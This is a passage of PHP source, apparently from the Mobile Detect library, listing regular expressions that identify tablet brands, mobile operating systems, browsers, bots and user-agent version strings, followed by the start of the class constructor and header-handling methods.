        'TrekstorTablet' => 'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab',
        // http://www.pyleaudio.com/Products.aspx?%2fproducts%2fPersonal-Electronics%2fTablets
        'PyleAudioTablet' => '\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b',
        // http://www.advandigital.com/index.php?link=content-product&jns=JP001
        // because of the short codenames we have to include whitespaces to reduce the possible conflicts.
        'AdvanTablet' => 'Android.* \b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b ',
        // http://www.danytech.com/category/tablet-pc
        'DanyTechTablet' => 'Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1',
        // http://www.galapad.net/product.html
        'GalapadTablet' => 'Android.*\bG1\b(?!\))',
        // http://www.micromaxinfo.com/tablet/funbook
        'MicromaxTablet' => 'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b',
        // http://www.karbonnmobiles.com/products_tablet.php
        'KarbonnTablet' => 'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b',
        // http://www.myallfine.com/Products.asp
        'AllFineTablet' => 'Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide',
        // http://www.proscanvideo.com/products-search.asp?itemClass=TABLET&itemnmbr=
        'PROSCANTablet' => '\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b',
        // http://www.yonesnav.com/products/products.php
        'YONESTablet' => 'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026',
        // http://www.cjshowroom.com/eproducts.aspx?classcode=004001001
        // China manufacturer makes tablets for different small brands (eg. http://www.zeepad.net/index.html)
        'ChangJiaTablet' => 'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503',
        // http://www.gloryunion.cn/products.asp
        // http://www.allwinnertech.com/en/apply/mobile.html
        // http://www.ptcl.com.pk/pd_content.php?pd_id=284 (EVOTAB)
        // @todo: Softwiner tablets?
        // aka. Cute or Cool tablets. Not sure yet, must research to avoid collisions.
        'GUTablet' => 'TX-A1301|TX-M9002|Q702|kf026', // A12R|D75A|D77|D79|R83|A95|A106C|R15|A75|A76|D71|D72|R71|R73|R77|D82|R85|D92|A97|D92|R91|A10F|A77F|W71F|A78F|W78F|W81F|A97F|W91F|W97F|R16G|C72|C73E|K72|K73|R96G
        // http://www.pointofview-online.com/showroom.php?shop_mode=product_listing&category_id=118
        'PointOfViewTablet' => 'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10',
        // http://www.overmax.pl/pl/katalog-produktow,p8/tablety,c14/
        // @todo: add more tests.
        'OvermaxTablet' => 'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027',
        // http://hclmetablet.com/India/index.php
        'HCLTablet' => 'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync',
        // http://www.edigital.hu/Tablet_es_e-book_olvaso/Tablet-c18385.html
        'DPSTablet' => 'DPS Dream 9|DPS Dual 7',
        // http://www.visture.com/index.asp
        'VistureTablet' => 'V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10',
        // http://www.mijncresta.nl/tablet
        'CrestaTablet' => 'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989',
        // MediaTek - http://www.mediatek.com/_en/01_products/02_proSys.php?cata_sn=1&cata1_sn=1&cata2_sn=309
        'MediatekTablet' => '\bMT8125|MT8389|MT8135|MT8377\b',
        // Concorde tab
        'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde ReadMan',
        // GoClever Tablets - http://www.goclever.com/uk/products,c1/tablet,c5/
        'GoCleverTablet' => 'GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042',
        // Modecom Tablets - http://www.modecom.eu/tablets/portal/
        'ModecomTablet' => 'FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003',
        // Vonino Tablets - http://www.vonino.eu/tablets
        'VoninoTablet' => '\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b',
        // ECS Tablets - http://www.ecs.com.tw/ECSWebSite/Product/Product_Tablet_List.aspx?CategoryID=14&MenuID=107&childid=M_107&LanID=0
        'ECSTablet' => 'V07OT2|TM105A|S10OT1|TR10CS1',
        // Storex Tablets - http://storex.fr/espace_client/support.html
        // @note: no need to add all the tablet codes since they are guided by the first regex.
        'StorexTablet' => 'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab',
        // Generic Vodafone tablets.
        'VodafoneTablet' => 'SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497',
        // French tablets - Essentiel B http://www.boulanger.fr/tablette_tactile_e-book/tablette_tactile_essentiel_b/cl_68908.htm?multiChoiceToDelete=brand&mc_brand=essentielb
        // Aka: http://www.essentielb.fr/
        'EssentielBTablet' => 'Smart[ \']?TAB[ ]+?[0-9]+|Family[ \']?TAB2',
        // Ross & Moor - http://ross-moor.ru/
        'RossMoorTablet' => 'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711',
        // i-mobile http://product.i-mobilephone.com/Mobile_Device
        'iMobileTablet' => 'i-mobile i-note',
        // http://www.tolino.de/de/vergleichen/
        'TolinoTablet' => 'tolino tab [0-9.]+|tolino shine',
        // AudioSonic - a Kmart brand
        // http://www.kmart.com.au/webapp/wcs/stores/servlet/Search?langId=-1&storeId=10701&catalogId=10001&categoryId=193001&pageSize=72&currentPage=1&searchCategory=193001%2b4294965664&sortBy=p_MaxPrice%7c1
        'AudioSonicTablet' => '\bC-22Q|T7-QC|T-17B|T-17P\b',
        // AMPE Tablets - http://www.ampe.com.my/product-category/tablets/
        // @todo: add them gradually to avoid conflicts.
        'AMPETablet' => 'Android.* A78 ',
        // Skk Mobile - http://skkmobile.com.ph/product_tablets.php
        'SkkTablet' => 'Android.* (SKYPAD|PHOENIX|CYCLOPS)',
        // Tecno Mobile (only tablet) - http://www.tecno-mobile.com/index.php/product?filterby=smart&list_order=all&page=1
        'TecnoTablet' => 'TECNO P9|TECNO DP8D',
        // JXD (consoles & tablets) - http://jxd.hk/products.asp?selectclassid=009008&clsid=3
        'JXDTablet' => 'Android.* \b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b',
        // i-Joy tablets - http://www.i-joy.es/en/cat/products/tablets/
        'iJoyTablet' => 'Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)',
        // http://www.intracon.eu/tablet
        'FX2Tablet' => 'FX2 PAD7|FX2 PAD10',
        // http://www.xoro.de/produkte/
        // @note: Might be the same brand with 'Simply tablets'
        'XoroTablet' => 'KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151',
        // http://www1.viewsonic.com/products/computing/tablets/
        'ViewsonicTablet' => 'ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a',
        // https://www.verizonwireless.com/tablets/verizon/
        'VerizonTablet' => 'QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1',
        // http://www.odys.de/web/internet-tablet_en.html
        'OdysTablet' => 'LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10',
        // http://www.captiva-power.de/products.html#tablets-en
        'CaptivaTablet' => 'CAPTIVA PAD',
        // IconBIT - http://www.iconbit.com/products/tablets/
        'IconbitTablet' => 'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S',
        // http://www.teclast.com/topic.php?channelID=70&topicID=140&pid=63
        'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98 Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98 3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d 3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18 3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h 3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi',
        // Onda - http://www.onda-tablet.com/buy-android-onda.html?dir=desc&limit=all&order=price
        'OndaTablet' => '\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+|V10 \b4G\b',
        'JaytechTablet' => 'TPC-PA762',
        'BlaupunktTablet' => 'Endeavour 800NG|Endeavour 1010',
        // http://www.digma.ru/support/download/
        // @todo: Ebooks also (if requested)
        'DigmaTablet' => '\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b',
        // http://www.evolioshop.com/ro/tablete-pc.html
        // http://www.evolio.ro/support/downloads_static.html?cat=2
        // @todo: Research some more
        'EvolioTablet' => 'ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b',
        // @todo http://www.lavamobiles.com/tablets-data-cards
        'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b',
        // http://www.breezetablet.com/
        'AocTablet' => 'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712',
        // http://www.mpmaneurope.com/en/products/internet-tablets-14/android-tablets-14/
        'MpmanTablet' => 'MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010',
        // https://www.celkonmobiles.com/?_a=categoryphones&sid=2
        'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b',
        // http://www.wolderelectronics.com/productos/manuales-y-guias-rapidas/categoria-2-miTab
        'WolderTablet' => 'miTab \b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\b',
        'MediacomTablet' => 'M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA',
        // http://www.mi.com/en
        'MiTablet' => '\bMI PAD\b|\bHM NOTE 1W\b',
        // http://www.nbru.cn/index.html
        'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter One',
        // http://navroad.com/products/produkty/tablety/
        // http://navroad.com/products/produkty/tablety/
        'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI',
        // http://leader-online.com/new_site/product-category/tablets/
        // http://www.leader-online.net.au/List/Tablet
        'LeaderTablet' => 'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100',
        // http://www.datawind.com/ubislate/
        'UbislateTablet' => 'UbiSlate[\s]?7C',
        // http://www.pocketbook-int.com/ru/support
        'PocketBookTablet' => 'Pocketbook',
        // http://www.kocaso.com/product_tablet.html
        'KocasoTablet' => '\b(TB-1207)\b',
        // http://global.hisense.com/product/asia/tablet/Sero7/201412/t20141215_91832.htm
        'HisenseTablet' => '\b(F5281|E2371)\b',
        // http://www.tesco.com/direct/hudl/
        'Hudl' => 'Hudl HT7S3|Hudl 2',
        // http://www.telstra.com.au/home-phone/thub-2/
        'TelstraTablet' => 'T-Hub2',
        'GenericTablet' => 'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc 10HD|\bTP750\b|\bQTAQZ3\b|WVT101|TM1088|KT107',
    );

    /**
     * List of mobile Operating Systems.
     *
     * @var array
     */
    protected static $operatingSystems = array(
        'AndroidOS' => 'Android',
        'BlackBerryOS' => 'blackberry|\bBB10\b|rim tablet os',
        'PalmOS' => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
        'SymbianOS' => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
        // @reference: http://en.wikipedia.org/wiki/Windows_Mobile
        'WindowsMobileOS' => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window Mobile|Windows Phone [0-9.]+|WCE;',
        // @reference: http://en.wikipedia.org/wiki/Windows_Phone
        // http://wifeng.cn/?r=blog&a=view&id=106
        // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx
        // http://msdn.microsoft.com/library/ms537503.aspx
        // https://msdn.microsoft.com/en-us/library/hh869301(v=vs.85).aspx
        'WindowsPhoneOS' => 'Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;',
        'iOS' => '\biPhone.*Mobile|\biPod|\biPad|AppleCoreMedia',
        // http://en.wikipedia.org/wiki/MeeGo
        // @todo: research MeeGo in UAs
        'MeeGoOS' => 'MeeGo',
        // http://en.wikipedia.org/wiki/Maemo
        // @todo: research Maemo in UAs
        'MaemoOS' => 'Maemo',
        'JavaOS' => 'J2ME/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135
        'webOS' => 'webOS|hpwOS',
        'badaOS' => '\bBada\b',
        'BREWOS' => 'BREW',
    );

    /**
     * List of mobile User Agents.
     *
     * IMPORTANT: This is a list of only mobile browsers.
     * Mobile Detect 2.x supports only mobile browsers,
     * it was never designed to detect all browsers.
     * The change will come in 2017 in the 3.x release for PHP7.
     *
     * @var array
     */
    protected static $browsers = array(
        //'Vivaldi'         => 'Vivaldi',
        // @reference: https://developers.google.com/chrome/mobile/docs/user-agent
        'Chrome' => '\bCrMo\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?',
        'Dolfin' => '\bDolfin\b',
        'Opera' => 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+',
        'Skyfire' => 'Skyfire',
        'Edge' => 'Mobile Safari/[.0-9]* Edge',
        'IE' => 'IEMobile|MSIEMobile', // |Trident/[.0-9]+
        'Firefox' => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS',
        'Bolt' => 'bolt',
        'TeaShark' => 'teashark',
        'Blazer' => 'Blazer',
        // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3
        'Safari' => 'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari',
        // http://en.wikipedia.org/wiki/Midori_(web_browser)
        //'Midori'          => 'midori',
        //'Tizen'           => 'Tizen',
        'WeChat' => '\bMicroMessenger\b',
        'UCBrowser' => 'UC.*Browser|UCWEB',
        'baiduboxapp' => 'baiduboxapp',
        'baidubrowser' => 'baidubrowser',
        // https://github.com/serbanghita/Mobile-Detect/issues/7
        'DiigoBrowser' => 'DiigoBrowser',
        // http://www.puffinbrowser.com/index.php
        'Puffin' => 'Puffin',
        // http://mercury-browser.com/index.html
        'Mercury' => '\bMercury\b',
        // http://en.wikipedia.org/wiki/Obigo_Browser
        'ObigoBrowser' => 'Obigo',
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NF-Browser',
        // @reference: http://en.wikipedia.org/wiki/Minimo
        // http://en.wikipedia.org/wiki/Vision_Mobile_Browser
        'GenericBrowser' => 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
        // @reference: https://en.wikipedia.org/wiki/Pale_Moon_(web_browser)
        'PaleMoon' => 'Android.*PaleMoon|Mobile.*PaleMoon',
    );

    /**
     * Utilities.
     *
     * @var array
     */
    protected static $utilities = array(
        // Experimental. When a mobile device wants to switch to 'Desktop Mode'.
        // http://scottcate.com/technology/windows-phone-8-ie10-desktop-or-mobile/
        // https://github.com/serbanghita/Mobile-Detect/issues/57#issuecomment-15024011
        // https://developers.facebook.com/docs/sharing/best-practices
        'Bot' => 'Googlebot|facebookexternalhit|AdsBot-Google|Google Keyword Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom',
        'MobileBot' => 'Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2',
        'DesktopMode' => 'WPDesktop',
        'TV' => 'SonyDTV|HbbTV', // experimental
        'WebKit' => '(webkit)[ /]([\w.]+)',
        // @todo: Include JXD consoles.
        'Console' => '\b(Nintendo|Nintendo WiiU|Nintendo 3DS|Nintendo Switch|PLAYSTATION|Xbox)\b',
        'Watch' => 'SM-V700',
    );

    /**
     * All possible HTTP headers that represent the
     * User-Agent string.
     *
     * @var array
     */
    protected static $uaHttpHeaders = array(
        // The default User-Agent string.
        'HTTP_USER_AGENT',
        // Header can occur on devices using Opera Mini.
        'HTTP_X_OPERAMINI_PHONE_UA',
        // Vodafone specific header: http://www.seoprinciple.com/mobile-web-community-still-angry-at-vodafone/24/
        'HTTP_X_DEVICE_USER_AGENT',
        'HTTP_X_ORIGINAL_USER_AGENT',
        'HTTP_X_SKYFIRE_PHONE',
        'HTTP_X_BOLT_PHONE_UA',
        'HTTP_DEVICE_STOCK_UA',
        'HTTP_X_UCBROWSER_DEVICE_UA',
    );

    /**
     * The individual segments that could exist in a User-Agent string. VER refers to the regular
     * expression defined in the constant self::VER.
     *
     * @var array
     */
    protected static $properties = array(

        // Build
        'Mobile' => 'Mobile/[VER]',
        'Build' => 'Build/[VER]',
        'Version' => 'Version/[VER]',
        'VendorID' => 'VendorID/[VER]',

        // Devices
        'iPad' => 'iPad.*CPU[a-z ]+[VER]',
        'iPhone' => 'iPhone.*CPU[a-z ]+[VER]',
        'iPod' => 'iPod.*CPU[a-z ]+[VER]',
        //'BlackBerry'    => array('BlackBerry[VER]', 'BlackBerry [VER];'),
        'Kindle' => 'Kindle/[VER]',

        // Browser
        'Chrome' => array('Chrome/[VER]', 'CriOS/[VER]', 'CrMo/[VER]'),
        'Coast' => array('Coast/[VER]'),
        'Dolfin' => 'Dolfin/[VER]',
        // @reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox
        'Firefox' => array('Firefox/[VER]', 'FxiOS/[VER]'),
        'Fennec' => 'Fennec/[VER]',
        // http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx
        // https://msdn.microsoft.com/en-us/library/ie/hh869301(v=vs.85).aspx
        'Edge' => 'Edge/[VER]',
        'IE' => array('IEMobile/[VER];', 'IEMobile [VER]', 'MSIE [VER];', 'Trident/[0-9.]+;.*rv:[VER]'),
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NetFront/[VER]',
        'NokiaBrowser' => 'NokiaBrowser/[VER]',
        'Opera' => array(' OPR/[VER]', 'Opera Mini/[VER]', 'Version/[VER]'),
        'Opera Mini' => 'Opera Mini/[VER]',
        'Opera Mobi' => 'Version/[VER]',
        'UCBrowser' => array('UCWEB[VER]', 'UC.*Browser/[VER]'),
        'MQQBrowser' => 'MQQBrowser/[VER]',
        'MicroMessenger' => 'MicroMessenger/[VER]',
        'baiduboxapp' => 'baiduboxapp/[VER]',
        'baidubrowser' => 'baidubrowser/[VER]',
        'SamsungBrowser' => 'SamsungBrowser/[VER]',
        'Iron' => 'Iron/[VER]',
        // @note: Safari 7534.48.3 is actually Version 5.1.
        // @note: On BlackBerry the Version is overwriten by the OS.
        'Safari' => array('Version/[VER]', 'Safari/[VER]'),
        'Skyfire' => 'Skyfire/[VER]',
        'Tizen' => 'Tizen/[VER]',
        'Webkit' => 'webkit[ /][VER]',
        'PaleMoon' => 'PaleMoon/[VER]',

        // Engine
        'Gecko' => 'Gecko/[VER]',
        'Trident' => 'Trident/[VER]',
        'Presto' => 'Presto/[VER]',
        'Goanna' => 'Goanna/[VER]',

        // OS
        'iOS' => ' \bi?OS\b [VER][ ;]{1}',
        'Android' => 'Android [VER]',
        'BlackBerry' => array('BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]', 'Version/[VER]'),
        'BREW' => 'BREW [VER]',
        'Java' => 'Java/[VER]',
        // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx
        // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases
        'Windows Phone OS' => array('Windows Phone OS [VER]', 'Windows Phone [VER]'),
        'Windows Phone' => 'Windows Phone [VER]',
        'Windows CE' => 'Windows CE/[VER]',
        // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd
        'Windows NT' => 'Windows NT [VER]',
        'Symbian' => array('SymbianOS/[VER]', 'Symbian/[VER]'),
        'webOS' => array('webOS/[VER]', 'hpwOS/[VER];'),
    );

    /**
     * Construct an instance of this class.
     *
     * @param array  $headers   Specify the headers as injection. Should be PHP _SERVER flavored.
     *                          If left empty, will use the global _SERVER['HTTP_*'] vars instead.
     * @param string $userAgent Inject the User-Agent header. If null, will use HTTP_USER_AGENT
     *                          from the $headers array instead.
     */
    public function __construct(
        array $headers = null,
        $userAgent = null
    ) {
        $this->setHttpHeaders($headers);
        $this->setUserAgent($userAgent);
    }

    /**
     * Get the current script version.
     * This is useful for the demo.php file,
     * so people can check on what version they are testing
     * for mobile devices.
     *
     * @return string The version number in semantic version format.
     */
    public static function getScriptVersion()
    {
        return self::VERSION;
    }

    /**
     * Set the HTTP Headers. Must be PHP-flavored. This method will reset existing headers.
     *
     * @param array $httpHeaders The headers to set. If null, then using PHP's _SERVER to extract
     *                           the headers. The default null is left for backwards compatibility.
     */
    public function setHttpHeaders($httpHeaders = null)
    {
        // use global _SERVER if $httpHeaders aren't defined
        if (!is_array($httpHeaders) || !count($httpHeaders)) {
            $httpHeaders = $_SERVER;
        }

        // clear existing headers
        $this->httpHeaders = array();

        // Only save HTTP headers. In PHP land, that means only _SERVER vars that
